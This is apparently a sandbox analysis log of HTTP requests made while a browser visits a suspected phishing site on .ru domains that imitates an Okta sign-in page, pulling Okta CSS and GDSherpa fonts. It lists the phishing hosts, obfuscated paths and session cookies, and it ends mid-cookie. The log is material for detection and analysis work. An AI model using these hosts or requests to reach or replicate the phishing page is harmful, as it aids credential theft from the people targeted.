Source: global traffic	HTTP traffic detected: GET /tatay@ode81xb HTTP/1.1Host: hajz.aezeib.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://c2uah.yazvbqkl.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tatay@ode81xb HTTP/1.1Host: hajz.aezeib.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /QPImv5ff/ HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://c2uah.yazvbqkl.ru/QPImv5ff/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im5JbW9YUGRwTlhFMUo2bnVPbXlWYnc9PSIsInZhbHVlIjoiOVlpdHRwTzh5QlNodzZNUnJuRGZJR2lLL1F4WGc4amJ6cW1teU9rZCtvOCswL3BUZ3lUaVg3a3pNVWIwNXRmQktVWVJUMFlPM29GK3VqcE5TbkRLZWE4cXpLcktTT1JPMkVDUFlMRm1MTGlsMXg2TEM0cGhKbWhkOCtMRzliUFIiLCJtYWMiOiI1NTJlMmM0MjVjOTgwZGEwYWMyN2VhZmJkZGU0Zjc3ODhlZDE5YTgxZWYxN2I2ZjkwYTM1NmM1OTE0ODM0NGNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkUxUktNYVJUbzF4SGJPV251QkF1NWc9PSIsInZhbHVlIjoiMVR1M1grbVNQK1IyeENiR3hhQmFVUE1LNEMxbEQzbnY0a3JLdEJaUEhoUEJ1L240NXpjTTRtTGx3OUJyNWJ2S3UrRkQyS05zMm81bGp2d3puYW5BbXJzcHNGNlY5ek1wMm4vRHpJWThZTmk5dEYwZzR2Z0JQNU80cXAreUVzVTIiLCJtYWMiOiJiNzRhZGExZTA4ODk0MjdkZDUyYjYzMzMxNzM4NDM5ZTUxZDFjMDBlZWJhNTk4NmM3Y2E2OWU5MWJmOWRjYTE3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /aj9IPN3XWv04k4e1dXLBqunWQ3ohyo HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im5JbW9YUGRwTlhFMUo2bnVPbXlWYnc9PSIsInZhbHVlIjoiOVlpdHRwTzh5QlNodzZNUnJuRGZJR2lLL1F4WGc4amJ6cW1teU9rZCtvOCswL3BUZ3lUaVg3a3pNVWIwNXRmQktVWVJUMFlPM29GK3VqcE5TbkRLZWE4cXpLcktTT1JPMkVDUFlMRm1MTGlsMXg2TEM0cGhKbWhkOCtMRzliUFIiLCJtYWMiOiI1NTJlMmM0MjVjOTgwZGEwYWMyN2VhZmJkZGU0Zjc3ODhlZDE5YTgxZWYxN2I2ZjkwYTM1NmM1OTE0ODM0NGNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkUxUktNYVJUbzF4SGJPV251QkF1NWc9PSIsInZhbHVlIjoiMVR1M1grbVNQK1IyeENiR3hhQmFVUE1LNEMxbEQzbnY0a3JLdEJaUEhoUEJ1L240NXpjTTRtTGx3OUJyNWJ2S3UrRkQyS05zMm81bGp2d3puYW5BbXJzcHNGNlY5ek1wMm4vRHpJWThZTmk5dEYwZzR2Z0JQNU80cXAreUVzVTIiLCJtYWMiOiJiNzRhZGExZTA4ODk0MjdkZDUyYjYzMzMxNzM4NDM5ZTUxZDFjMDBlZWJhNTk4NmM3Y2E2OWU5MWJmOWRjYTE3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/QPImv5ff/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNqdWliKzQyQlVtaVl2NkhTYXhldmc9PSIsInZhbHVlIjoid3BBU3VTQ3JJeHhFcUEwcHJ1RXROcVhtVkF4MFlyQTZocUNNWTNtSzRRWXZIemdoaGh1OUl1dkI0SnhDQStqM3ZsMElhaUg3cU5ycUhCUjErNEVIWGYwVEJSUCtsazVtaXlaS2YySkhsSVBaNGxqRUdlcmY5UHkyVUwvUU84QUYiLCJtYWMiOiIwMDI4YzNmZmM1ZGEzZTkwZWRhMWI5ZWU1YzE2ZThkYTc3Mjg3MmQ5YmQ0N2VkOTAwN2UzNjc0YThkYjVhMjJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIRzA1blFvT0xlNjdHa2d1VVFoTlE9PSIsInZhbHVlIjoiWGthTDh1cGRDVUhDRmZ1TXJRYkNOQStRcXdPZVBPK0VLdXZQNXNkU1pSYnhkYWhyakwvam1WY1JGNDFGNjQ5ck1qT2FoNDdYWkI4UVJkTW5HU0Y3RWM4VmpjRW41eXJFU1liZm5TL0QydUFwbUs4SkUvUC8vekF5WDNmQVpQYVMiLCJtYWMiOiIwNzIzMjRiN2JiMDAyYjU0OGM5NzU1ZmQzMjM4M2M3NjQ1OTZlNDk1MzJhYjIwNDgxZmRhYjA4YTVkNTkwMDU1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /lmykWCmgwVS8xpu8nz9nsmOTnILQydoIwqk6y4WZDGYrX2efw HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN4U29CWTVBMEQ5WGhCbHU2cHF4MWc9PSIsInZhbHVlIjoicXp3L3lmOTBhM3NQaForbXhGMjZsTGVBcS9GMzNhM2N2ZC9TbjdtMTlHMzhPU3B3RGVIOWF3WmcyZHlsN3pKdk1Ba0FCbWNyQ2taZERoZjY4R0VGQThheEx0S3FJNFRabUNWRThPVTNxcXA1ZkZNWGQ5OTAyaFNaMVhLdjkxSjciLCJtYWMiOiJjNzNhMmExMDcwYzY4Nzg5OTAzOTA0N2Y0MzlhZDdjZTNjYTJhZTY4M2VjMmI4MDNlMTVkNTczZDllMjBhMTIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im8vMGNsbkJCcXZCL2s5SXFEU25CMHc9PSIsInZhbHVlIjoiZDBscklXNFM4SG5Jc1hVTzlrcmYrOHVBd1RDTDdmb1luK1VIVmwyTmlEL2N5dDBaSEsyTkM1ejI0eTZCS1JJTi9YMHNWYnhqK1U0NytNTTNScWxJZkZrV3ZxbXpPeS84L0ZrSDNGSHVEbEVGQ2lNbFROV1c2ZnFuYmRjQkVaRXYiLCJtYWMiOiI0OWFhNjdhMGE0ODkyYWY1ZGQ1MjdhODA5NWE5MDAxMTQyODlhMjEwMmY4YzcxNDJkYTBmODgyYzgyMmVkZDViIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://c2uah.yazvbqkl.ru/QPImv5ff/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN4U29CWTVBMEQ5WGhCbHU2cHF4MWc9PSIsInZhbHVlIjoicXp3L3lmOTBhM3NQaForbXhGMjZsTGVBcS9GMzNhM2N2ZC9TbjdtMTlHMzhPU3B3RGVIOWF3WmcyZHlsN3pKdk1Ba0FCbWNyQ2taZERoZjY4R0VGQThheEx0S3FJNFRabUNWRThPVTNxcXA1ZkZNWGQ5OTAyaFNaMVhLdjkxSjciLCJtYWMiOiJjNzNhMmExMDcwYzY4Nzg5OTAzOTA0N2Y0MzlhZDdjZTNjYTJhZTY4M2VjMmI4MDNlMTVkNTczZDllMjBhMTIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im8vMGNsbkJCcXZCL2s5SXFEU25CMHc9PSIsInZhbHVlIjoiZDBscklXNFM4SG5Jc1hVTzlrcmYrOHVBd1RDTDdmb1luK1VIVmwyTmlEL2N5dDBaSEsyTkM1ejI0eTZCS1JJTi9YMHNWYnhqK1U0NytNTTNScWxJZkZrV3ZxbXpPeS84L0ZrSDNGSHVEbEVGQ2lNbFROV1c2ZnFuYmRjQkVaRXYiLCJtYWMiOiI0OWFhNjdhMGE0ODkyYWY1ZGQ1MjdhODA5NWE5MDAxMTQyODlhMjEwMmY4YzcxNDJkYTBmODgyYzgyMmVkZDViIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56WNRhKU5BiLLVLVxyIWWrnQ8918 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveOrigin: https://c2uah.yazvbqkl.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abBkbbYG4HepqnjDgh30 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveOrigin: https://c2uah.yazvbqkl.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveOrigin: https://c2uah.yazvbqkl.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveOrigin: https://c2uah.yazvbqkl.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJwMDBNTGZEK3g3RExZZXdiZUQ0dXc9PSIsInZhbHVlIjoicTNLZ1EzdnMzSUxBT0hIUkJ6cXBlQndqK1BnYmpQM0ZZL1VSK0xVNTA4WXZNQm8zd3puZmltQUF6dVJsaTl0RFZaM0tCUkZ3UnJ0elFMWEt2dlNGNGRRS2U1MFo2dEFKUk1sSzJPMXV1dkJPd0oreWQ5VlBWV2ZzNWVvcnVGMlUiLCJtYWMiOiI1MjAyYzJjODJiMWYxMjI3M2M2MTIyZWMwNWE5ZWIxNWZjMjM4ZmEzNmM5YTBjMDI0ODBkYzY4YTNmYTEzOWIxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveOrigin: https://c2uah.yazvbqkl.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBSbkFvSHdYWkhBT1drSW9hL1p2eHc9PSIsInZhbHVlIjoicGROUWdEdU54em1YbW11MjY4ejRFUHZxaXJEVlZsclc3MDNTNXYwLzh4bEVFQU9ZQmplWXplZFRvMlZwSllkSVkxV3dVOTNaVU91QjFhUkZlb1RBWFN1NEZoWWdGVW1YWHF4NVd2d2QxWXphWFdDWmtpOVIxS0MzRlZub21SNGMiLCJtYWMiOiI0MWMzODYxZjBmYjk0ZDAwM2FjMmRlOWQyZTVmYjkwMWVmNzlhM2MwYTU4ODJmMGM3Y2QyMGI1YzZmYTI5MTM1IiwidGFnIjoiIn0%3D; 